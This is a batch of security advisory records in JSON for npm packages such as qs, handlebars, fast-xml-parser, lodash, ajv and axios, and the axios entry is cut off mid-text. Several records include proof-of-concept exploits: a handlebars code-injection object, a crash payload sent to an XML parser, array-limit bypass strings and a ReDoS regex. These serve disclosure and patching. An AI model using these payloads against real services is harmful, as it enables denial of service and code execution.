{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.14.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "qs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.7.0"
            },
            {
              "fixed": "6.14.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-2391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-12T17:04:39Z",
    "nvd_published_at": "2026-02-12T05:17:11Z",
    "severity": "LOW"
  },
  "details": "### Summary\nThe `arrayLimit` option in qs does not enforce limits for comma-separated values when `comma: true` is enabled, allowing attackers to cause denial-of-service via memory exhaustion. This is a bypass of the array limit enforcement, similar to the bracket notation bypass addressed in GHSA-6rw7-vpxm-498p (CVE-2025-15284).\n\n### Details\nWhen the `comma` option is set to `true` (not the default, but configurable in applications), qs allows parsing comma-separated strings as arrays (e.g., `?param=a,b,c` becomes `[\u0027a\u0027, \u0027b\u0027, \u0027c\u0027]`). However, the limit check for `arrayLimit` (default: 20) and the optional throwOnLimitExceeded occur after the comma-handling logic in `parseArrayValue`, enabling a bypass. This permits creation of arbitrarily large arrays from a single parameter, leading to excessive memory allocation.\n\n**Vulnerable code** (lib/parse.js: lines ~40-50):\n```js\nif (val \u0026\u0026 typeof val === \u0027string\u0027 \u0026\u0026 options.comma \u0026\u0026 val.indexOf(\u0027,\u0027) \u003e -1) {\n    return val.split(\u0027,\u0027);\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n    throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n}\n\nreturn val;\n```\nThe `split(\u0027,\u0027)` returns the array immediately, skipping the subsequent limit check. Downstream merging via `utils.combine` does not prevent allocation, even if it marks overflows for sparse arrays.This discrepancy allows attackers to send a single parameter with millions of commas (e.g., `?param=,,,,,,,,...`), allocating massive arrays in memory without triggering limits. It bypasses the intent of `arrayLimit`, which is enforced correctly for indexed (`a[0]=`) and bracket (`a[]=`) notations (the latter fixed in v6.14.1 per GHSA-6rw7-vpxm-498p).\n\n### PoC\n**Test 1 - Basic bypass:**\n```\nnpm install qs\n```\n\n```js\nconst qs = require(\u0027qs\u0027);\n\nconst payload = \u0027a=\u0027 + \u0027,\u0027.repeat(25);  // 26 elements after split (bypasses arrayLimit: 5)\nconst options = { comma: true, arrayLimit: 5, throwOnLimitExceeded: true };\n\ntry {\n  const result = qs.parse(payload, options);\n  console.log(result.a.length);  // Outputs: 26 (bypass successful)\n} catch (e) {\n  console.log(\u0027Limit enforced:\u0027, e.message);  // Not thrown\n}\n```\n**Configuration:**\n- `comma: true`\n- `arrayLimit: 5`\n- `throwOnLimitExceeded: true`\n\nExpected: Throws \"Array limit exceeded\" error.\nActual: Parses successfully, creating an array of length 26.\n\n\n### Impact\nDenial of Service (DoS) via memory exhaustion.\n\n### Suggested Fix\nMove the `arrayLimit` check before the comma split in `parseArrayValue`, and enforce it on the resulting array length. Use `currentArrayLength` (already calculated upstream) for consistency with bracket notation fixes.\n\n**Current code** (lib/parse.js: lines ~40-50):\n```js\nif (val \u0026\u0026 typeof val === \u0027string\u0027 \u0026\u0026 options.comma \u0026\u0026 val.indexOf(\u0027,\u0027) \u003e -1) {\n    return val.split(\u0027,\u0027);\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n    throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n}\n\nreturn val;\n```\n\n**Fixed code:**\n```js\nif (val \u0026\u0026 typeof val === \u0027string\u0027 \u0026\u0026 options.comma \u0026\u0026 val.indexOf(\u0027,\u0027) \u003e -1) {\n    const splitArray = val.split(\u0027,\u0027);\n    if (splitArray.length \u003e options.arrayLimit - currentArrayLength) {  // Check against remaining limit\n        if (options.throwOnLimitExceeded) {\n            throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n        } else {\n            // Optionally convert to object or truncate, per README\n            return splitArray.slice(0, options.arrayLimit - currentArrayLength);\n        }\n    }\n    return splitArray;\n}\n\nif (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n    throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n}\n\nreturn val;\n```\nThis aligns behavior with indexed and bracket notations, reuses `currentArrayLength`, and respects `throwOnLimitExceeded`. Update README to note the consistent enforcement.",
  "id": "GHSA-w7fw-mjwx-w883",
  "modified": "2026-02-12T20:07:59Z",
  "published": "2026-02-12T17:04:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/security/advisories/GHSA-w7fw-mjwx-w883"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2391"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ljharb/qs/commit/f6a7abff1f13d644db9b05fe4f2c98ada6bf8482"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ljharb/qs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "qs\u0027s arrayLimit bypass in comma parsing allows denial of service"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.6.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-29T15:17:15Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe prototype method blocklist in `lib/handlebars/internal/proto-access.js` blocks `constructor`, `__defineGetter__`, `__defineSetter__`, and `__lookupGetter__`, but omits the symmetric `__lookupSetter__`. This omission is only exploitable when the non-default runtime option `allowProtoMethodsByDefault: true` is explicitly set \u2014 in that configuration `__lookupSetter__` becomes accessible while its counterparts remain blocked, creating an inconsistent security boundary.\n\n`4.6.0` is the version that introduced `protoAccessControl` and the `allowProtoMethodsByDefault` runtime option.\n\n## Description\n\nIn `lib/handlebars/internal/proto-access.js`:\n\n```javascript\nconst methodWhiteList = Object.create(null);\nmethodWhiteList[\u0027constructor\u0027]      = false;\nmethodWhiteList[\u0027__defineGetter__\u0027] = false;\nmethodWhiteList[\u0027__defineSetter__\u0027] = false;\nmethodWhiteList[\u0027__lookupGetter__\u0027] = false;\n// __lookupSetter__ intentionally blocked in CVE-2021-23383,\n// but omitted here \u2014 creating an asymmetric blocklist\n```\n\nAll four legacy accessor helpers (`__defineGetter__`, `__defineSetter__`, `__lookupGetter__`, `__lookupSetter__`) were involved in the exploit chain addressed by CVE-2021-23383. Three of the four were explicitly blocked; `__lookupSetter__` was left out.\n\nWhen `allowProtoMethodsByDefault: true` is set, any prototype method **not present** in `methodWhiteList` is permitted by default. Because `__lookupSetter__` is absent from the list, it passes the `checkWhiteList` check and is accessible in templates, while `__lookupGetter__` (its sibling) is correctly denied.\n\n## Workarounds\n\n- Do **not** set `allowProtoMethodsByDefault: true`. The default configuration is not affected.\n- If `allowProtoMethodsByDefault` must be enabled, ensure templates do not reference  `__lookupSetter__` through untrusted input.",
  "id": "GHSA-7rx3-28cr-v5wh",
  "modified": "2026-03-29T15:17:15Z",
  "published": "2026-03-29T15:17:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-7rx3-28cr-v5wh"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-765h-qjxv-5f44"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has a Prototype Method Access Control Gap via Missing __lookupSetter__ Blocklist Entry"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-27T18:21:44Z",
    "nvd_published_at": "2026-03-27T22:16:21Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA crafted object placed in the template context can bypass all conditional guards in `resolvePartial()` and cause `invokePartial()` to return `undefined`. The Handlebars runtime then treats the unresolved partial as a source that needs to be compiled, passing the crafted object to `env.compile()`. Because the object is a valid Handlebars AST containing injected code, the generated JavaScript executes arbitrary commands on the server. The attack requires the adversary to control a value that can be returned by a dynamic partial lookup.\n\n## Description\n\nThe vulnerable code path spans two functions in `lib/handlebars/runtime.js`:\n\n**`resolvePartial()`:** A crafted object with `call: true` satisfies the first branch condition (`partial.call`) and causes an early return of the original object itself, because none of the remaining conditionals (string check, `options.partials` lookup, etc.) match a plain object. The function returns the crafted object as-is.\n\n**`invokePartial()`:** When `resolvePartial` returns a non-function object, `invokePartial` produces `undefined`. The runtime interprets `undefined` as \"partial not yet compiled\" and calls `env.compile(partial, ...)` where `partial` is the crafted AST object. The JavaScript code generator processes the AST and emits JavaScript containing the injected payload, which is then evaluated.\n\n**Minimum prerequisites:**\n1. The template uses a dynamic partial lookup: `{{\u003e (lookup . \"key\")}}` or equivalent.\n2. The adversary can set the value of the looked-up context property to a crafted object.\n\nIn server-side rendering scenarios where templates process user-supplied context data, this enables full Remote Code Execution.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\nconst vulnerableTemplate = `{{\u003e (lookup . \"payload\")}}`;\n\nconst maliciousContext = {\n  payload: {\n    call: true, // bypasses the primary resolvePartial branch\n    type: \"Program\",\n    body: [\n      {\n        type: \"MustacheStatement\",\n        depth: 0,\n        path: {\n          type: \"PathExpression\",\n          parts: [\"pop\"],\n          original: \"this.pop\",\n          // Injected code breaks out of the generated function\u0027s argument list\n          depth: \"0])),function () {console.error(\u0027VULNERABLE: object -\u003e dynamic partial -\u003e RCE\u0027);}()));//\",\n        },\n      },\n    ],\n  },\n};\n\nHandlebars.compile(vulnerableTemplate)(maliciousContext);\n// Prints: VULNERABLE: object -\u003e dynamic partial -\u003e RCE\n```\n\n## Workarounds\n\n- **Use the runtime-only build** (`require(\u0027handlebars/runtime\u0027)`). Without `compile()`,  the fallback compilation path in `invokePartial` is unreachable.\n- **Sanitize context data** before rendering: ensure no value in the context is a non-primitive  object that could be passed to a dynamic partial.\n- **Avoid dynamic partial lookups** (`{{\u003e (lookup ...)}}`) when context data is user-controlled.",
  "id": "GHSA-xhpv-hc6g-r9c6",
  "modified": "2026-03-30T20:08:33Z",
  "published": "2026-03-27T18:21:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-xhpv-hc6g-r9c6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33940"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection via AST Type Confusion when passing an object as dynamic partial"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.3.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.9"
            },
            {
              "fixed": "5.3.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-25128"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-30T20:10:14Z",
    "nvd_published_at": "2026-01-30T16:16:14Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `\u0026#9999999;` or `\u0026#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.\n\n### Details\nThe vulnerability exists in `/src/xmlparser/OrderedObjParser.js` at lines 44-45:\n\n```javascript\n\"num_dec\": { regex: /\u0026#([0-9]{1,7});/g, val : (_, str) =\u003e String.fromCodePoint(Number.parseInt(str, 10)) },\n\"num_hex\": { regex: /\u0026#x([0-9a-fA-F]{1,6});/g, val : (_, str) =\u003e String.fromCodePoint(Number.parseInt(str, 16)) },\n```\n\nThe `String.fromCodePoint()` method throws a `RangeError` when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:\n- `[0-9]{1,7}` matches up to 9,999,999\n- `[0-9a-fA-F]{1,6}` matches up to 0xFFFFFF (16,777,215)\n\nThe entity replacement in `replaceEntitiesValue()` (line 452) has no try-catch:\n\n```javascript\nval = val.replace(entity.regex, entity.val);\n```\n\nThis causes the RangeError to propagate uncaught, crashing the parser and any application using it.\n### PoC\n#### Setup\n\nCreate a directory with these files:\n\n```\npoc/\n\u251c\u2500\u2500 package.json\n\u251c\u2500\u2500 server.js\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"fast-xml-parser\": \"^5.3.3\" } }\n```\n\n**server.js**\n```javascript\nconst http = require(\u0027http\u0027);\nconst { XMLParser } = require(\u0027fast-xml-parser\u0027);\n\nconst parser = new XMLParser({ processEntities: true, htmlEntities: true });\n\nhttp.createServer((req, res) =\u003e {\n  if (req.method === \u0027POST\u0027 \u0026\u0026 req.url === \u0027/parse\u0027) {\n    let body = \u0027\u0027;\n    req.on(\u0027data\u0027, c =\u003e body += c);\n    req.on(\u0027end\u0027, () =\u003e {\n      const result = parser.parse(body);  // No try-catch - will crash!\n      res.end(JSON.stringify(result));\n    });\n  } else {\n    res.end(\u0027POST /parse with XML body\u0027);\n  }\n}).listen(3000, () =\u003e console.log(\u0027http://localhost:3000\u0027));\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Send malicious payload (server will crash)\ncurl -X POST -H \"Content-Type: application/xml\" -d \u0027\u003c?xml version=\"1.0\"?\u003e\u003croot\u003e\u0026#9999999;\u003c/root\u003e\u0027 http://localhost:3000/parse\n``` \n#### Result\n\nServer crashes with:\n```\nRangeError: Invalid code point 9999999\n```\n\n#### Alternative Payloads\n\n```xml\n\u003c!-- Hex variant --\u003e\n\u003c?xml version=\"1.0\"?\u003e\u003croot\u003e\u0026#xFFFFFF;\u003c/root\u003e\n\n\u003c!-- In attribute --\u003e\n\u003c?xml version=\"1.0\"?\u003e\u003croot attr=\"\u0026#9999999;\"/\u003e\n```\n\n### Impact\n*Denial of Service (DoS):** Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:\n\n- **API servers** accepting XML payloads\n- **File processors** parsing uploaded XML files\n- **Message queues** consuming XML messages\n- **RSS/Atom feed parsers**\n- **SOAP/XML-RPC services**\n\nA single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.",
  "id": "GHSA-37qj-frw5-hhjh",
  "modified": "2026-02-11T23:13:02Z",
  "published": "2026-01-30T20:10:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-37qj-frw5-hhjh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e387f61c4a5cef792f6a2f42467013290bf95dc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "fast-xml-parser has RangeError DoS Numeric Entities Bug"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.17.23"
      },
      "package": {
        "ecosystem": "npm",
        "name": "lodash"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.17.23"
      },
      "package": {
        "ecosystem": "npm",
        "name": "lodash-es"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.17.23"
      },
      "package": {
        "ecosystem": "npm",
        "name": "lodash-amd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "lodash.template"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-4800"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:51:12Z",
    "nvd_published_at": "2026-03-31T20:16:29Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThe fix for [CVE-2021-23337](https://github.com/advisories/GHSA-35jh-r3h4-6jhm) added validation for the `variable` option in `_.template` but did not apply the same validation to `options.imports` key names. Both paths flow into the same `Function()` constructor sink.\n\nWhen an application passes untrusted input as `options.imports` key names, an attacker can inject default-parameter expressions that execute arbitrary code at template compilation time.\n\nAdditionally, `_.template` uses `assignInWith` to merge imports, which enumerates inherited properties via `for..in`. If `Object.prototype` has been polluted by any other vector, the polluted keys are copied into the imports object and passed to `Function()`.\n\n### Patches\n\nUsers should upgrade to version 4.18.0.\n\nThe fix applies two changes:\n1. Validate `importsKeys` against the existing `reForbiddenIdentifierChars` regex (same check already used for the `variable` option)\n2. Replace `assignInWith` with `assignWith` when merging imports, so only own properties are enumerated\n\n### Workarounds\n\nDo not pass untrusted input as key names in `options.imports`. Only use developer-controlled, static key names.",
  "id": "GHSA-r5fr-rjxr-66jc",
  "modified": "2026-04-01T23:51:12Z",
  "published": "2026-04-01T23:51:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/lodash/lodash/security/advisories/GHSA-r5fr-rjxr-66jc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4800"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lodash/lodash/commit/3469357cff396a26c363f8c1b5a91dde28ba4b1c"
    },
    {
      "type": "WEB",
      "url": "https://cna.openjsf.org/security-advisories.html"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-35jh-r3h4-6jhm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lodash/lodash"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lodash vulnerable to Code Injection via `_.template` imports key names"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ajv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0-alpha.0"
            },
            {
              "fixed": "8.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "ajv"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.14.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69873"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-17T16:38:57Z",
    "nvd_published_at": "2026-02-11T19:15:50Z",
    "severity": "MODERATE"
  },
  "details": "ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\\\"^(a|a)*$\\\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation.",
  "id": "GHSA-2g4f-4pwh-qvx6",
  "modified": "2026-03-02T21:58:39Z",
  "published": "2026-02-11T21:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69873"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ajv-validator/ajv/pull/2586"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ajv-validator/ajv/pull/2588"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ajv-validator/ajv/pull/2590"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/6991"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ajv-validator/ajv/commit/720a23fa453ffae8340e92c9b0fe886c54cfe0d5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EthanKim88/ethan-cve-disclosures/blob/main/CVE-2025-69873-ajv-ReDoS.md"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-2g4f-4pwh-qvx6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ajv-validator/ajv"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ajv-validator/ajv/releases/tag/v6.14.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ajv-validator/ajv/releases/tag/v8.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ajv has ReDoS when using `$data` option"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@smithy/config-resolver"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-08T21:52:45Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "CVSSv3.1 Rating: 3.7 (LOW)\n\nSummary\n\nThis notification is related to the use of specific values for the region input field when calling AWS services. An actor with access to the environment in which the SDK is used could set the region input field to an invalid value.\n\nA defense-in-depth enhancement has been implemented in the AWS SDK for JavaScript v3 (versions 3.723.0 and later). This enhancement validates that a region used to construct an endpoint URL is a valid host label. The change was released on November 15, 2025. This advisory is informational to help customers understand their responsibilities regarding configuration security.\n\nImpact\nCustomer applications could be configured to improperly route AWS API calls to non-existent or non-AWS hosts. While the SDK was functioning as designed, additional safeguards have been added to support secure customer implementations.\n\nImpacted versions: @smithy/config-resolver \u003c4.4.0\n\nPatches\n\nOn November 15, 2025, an enhancement was made to the AWS SDK for JavaScript v3 (versions 3.723.0 and later) release, which validates the formatting of a region, providing additional safeguards. A feature enhancement was implemented in @smithy/config-resolver v4.4.0. This enhancement provides additional configuration validation safeguards but does not address a security vulnerability.\n\nWorkarounds\nNo workarounds are needed, but as always you should ensure that your application is following security best practices:\n- Implement proper input validation in your application code\n- Update to the latest AWS SDK for Javascript v3 release on a regular basis\n- Follow AWS security best practices [1] for SDK configuration\n\nResources\nContact AWS Security via the vulnerability reporting page or email [aws-security@amazon.com](mailto:aws-security@amazon.com).\n\nAcknowledgement\nAWS Security thanks Guy Arazi for bringing these customer security considerations to our attention through the coordinated disclosure process.\n\n[1] https://docs.aws.amazon.com/sdk-for-javascript/v3/developer-guide/security.html",
  "id": "GHSA-6475-r3vj-m8vf",
  "modified": "2026-01-08T21:52:45Z",
  "published": "2026-01-08T21:52:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sdk-js-v3/security/advisories/GHSA-6475-r3vj-m8vf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/aws/aws-sdk-js/security/advisories/GHSA-j965-2qgj-vjmq"
    },
    {
      "type": "WEB",
      "url": "https://docs.aws.amazon.com/sdk-for-javascript/v3/developer-guide/security.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/aws/aws-sdk-js-v3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AWS SDK for JavaScript v3 adopted defense in depth enhancement for region parameter value"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42044"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321",
      "CWE-915"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T00:19:33Z",
    "nvd_published_at": "2026-04-24T18:16:31Z",
    "severity": "MODERATE"
  },
  "details": "# Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`\n\n## Summary\n\nThe Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any `Object.prototype` pollution in the application\u0027s dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** \u2014 including privilege escalation, balance manipulation, and authorization bypass.\n\nThe default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.\n\nThis is **strictly more powerful** than the `transformResponse` gadget because:\n1. **No constraints** \u2014 the reviver can return any value (no \"must return true\" requirement)\n2. **Selective modification** \u2014 individual JSON keys can be changed while others remain untouched\n3. **Invisible** \u2014 the response structure and most values look completely normal\n4. **Simultaneous exfiltration** \u2014 the reviver sees the original values before modification\n\n**Severity:** Critical (CVSS 9.1)\n**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)\n**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)\n\n## CWE\n\n- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027)\n- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes\n\n## CVSS 3.1\n\n**Score: 9.1 (Critical)**\n\nVector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`\n\n| Metric | Value | Justification |\n|---|---|---|\n| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |\n| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |\n| Privileges Required | None | No authentication needed |\n| User Interaction | None | No user interaction required |\n| Scope | Unchanged | Within the application process |\n| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response \u2014 full data exfiltration. In the PoC, `apiKey: 